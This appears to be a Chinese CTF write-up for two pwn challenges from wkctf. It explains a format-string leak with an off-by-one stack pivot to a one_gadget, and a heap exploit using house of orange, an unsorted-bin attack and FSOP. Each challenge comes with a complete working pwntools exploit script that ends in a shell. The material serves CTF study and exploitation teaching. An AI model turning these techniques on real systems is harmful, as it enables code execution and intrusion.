wkctf比赛wp-[pwn]

1、challenge

首先我们查看下保护

我们查看代码逻辑,发现存在一个格式化字符串漏洞,然后我们通过调试,发现我们输入两个数字,只会去第一个

注:strtol函数是将字符串转化为十进制的数,如果没有数字就会自动补零

我们继续查看,发现echo函数里面存在一个0x100的buf,然后echo_inner存在一个数组越界,

off by one漏洞,会覆盖rbp,然后发现0x100的buf在echo_inner,于是最后返回的时候就会调用两个leave;ret,是实现的迁栈,最后ret会返回到rsp

利用思路:

1、首先我们通过格式化字符串漏洞泄露libc的地址

2、然后我们通过off by one漏洞劫持rbp为one_gadget

完整exp

from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
p = process([elf.path])
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
gdb.attach(p,'b *$rebase(0x132B)\nc')
pause()
sla('Press enter to continue','66')
ru('Your magic number is: ')
libc.address=int('0x'+rc(13),16)-0x3ec7e3
lg('libc.address')
sla('How many bytes do you want to read (max 256)? ','256')
one_gadget=[0x4f29e,0x4f2a5,0x4f302,0x10a2fc][0]+libc.address
lg('one_gadget')
pay=p64(one_gadget)*32
sd(pay)
it()

2、baby_heap

查看开启的保护

分析代码,发现没有free函数,但是存在堆溢出,我们edit的时候可以自定义大小,单数只能打印0x8大小的字符

利用思路:

1、首先我们通过house of orange来泄露libc,并且将top chunk修改,然后使其进入unsort bin中,从而泄露libc

2、show函数只能泄露8个字节,我们可以使用unsort bin attack ,将我们的chunk_list中的一个地址链上一个堆地址,然后show就可以泄露堆地址了

可以看到我们在chunk_list[12]的位置链上了一个堆地址,我们直接show(12)就可以拿到堆地址

edit(2,0x100,'a'*0x18+p64(0xfa1)+p64(0)+p64(0x4040E0+0x50))
add(0xf90,'aaaaaaa')
show(12)
ru('\n')
heap=u32(rc(4).ljust(4,'\x00'))-0x22000
lg('heap')

3、但是这样我们就破坏了堆的结构,这样的后果就是我们没法再malloc chunk了,所以我们需要修复chunk的结构,我们需要修复两个地方,一个是main_arena+88的位置,一个是unsort bin中chunk的fb和bk

泄露堆地址之前

泄露堆地址后

# edit(12,0x100,p64(heap+0x22000)+p64(heap+0x40)*3)
# payload = cyclic(0x18)+p64(0xfa1)+p64(libc.address+0x3c4b78)*2
# edit(2,len(payload),payload)

4、然后我们就可以使用FSOP来伪造_IO_list_all的结构

完整exp

#coding:utf-8
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc-2.23.so')
p = process([elf.path])
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
def cmd(idx):
    sla('>',str(idx))
def add(size,contain):
    cmd(1)
    sla('Size :',str(size))
    sa('Content :\n',str(contain))
def edit(idx,size,contain):
    cmd(2)
    sla('Index :',str(idx))
    sla('Size :',str(size))
    sa('Content :\n',str(contain))
def show(idx):
    cmd(3)
    sla('Index :',str(idx))
add(0x18,'a') #0
edit(0,0x40,'a'*0x18+p64(0xfe1))
add(0xff0,'a') #1
add(0x18,'a') #2
show(2)
libc.address=uu64()-0x3c5161
lg('libc.address')
edit(2,0x100,'a'*0x18+p64(0xfa1)+p64(0)+p64(0x4040E0+0x50))
add(0xf90,'aaaaaaa')
show(12)
ru('\n')
heap=u32(rc(4).ljust(4,'\x00'))-0x22000
lg('heap')
edit(12,0x100,p64(heap+0x22000)+p64(heap+0x40)*3)
payload = cyclic(0x18)+p64(0xfa1)+p64(libc.address+0x3c4b78)*2
edit(2,len(payload),payload)
fake_file=''
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0x61)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(libc.sym['_IO_list_all'] - 0x10)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(0)  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(0)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00')  # adjust to vtable
fake_file += p64(heap + 0x40+0x10 )  # fake vtable
edit(2,len(payload)+0x100,'a'*0x10+fake_file)
cmd(1)
# gdb.attach(p,'b _IO_flush_all_lockp\nc')
# pause()
sla('Size :',str(0x100))
it()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值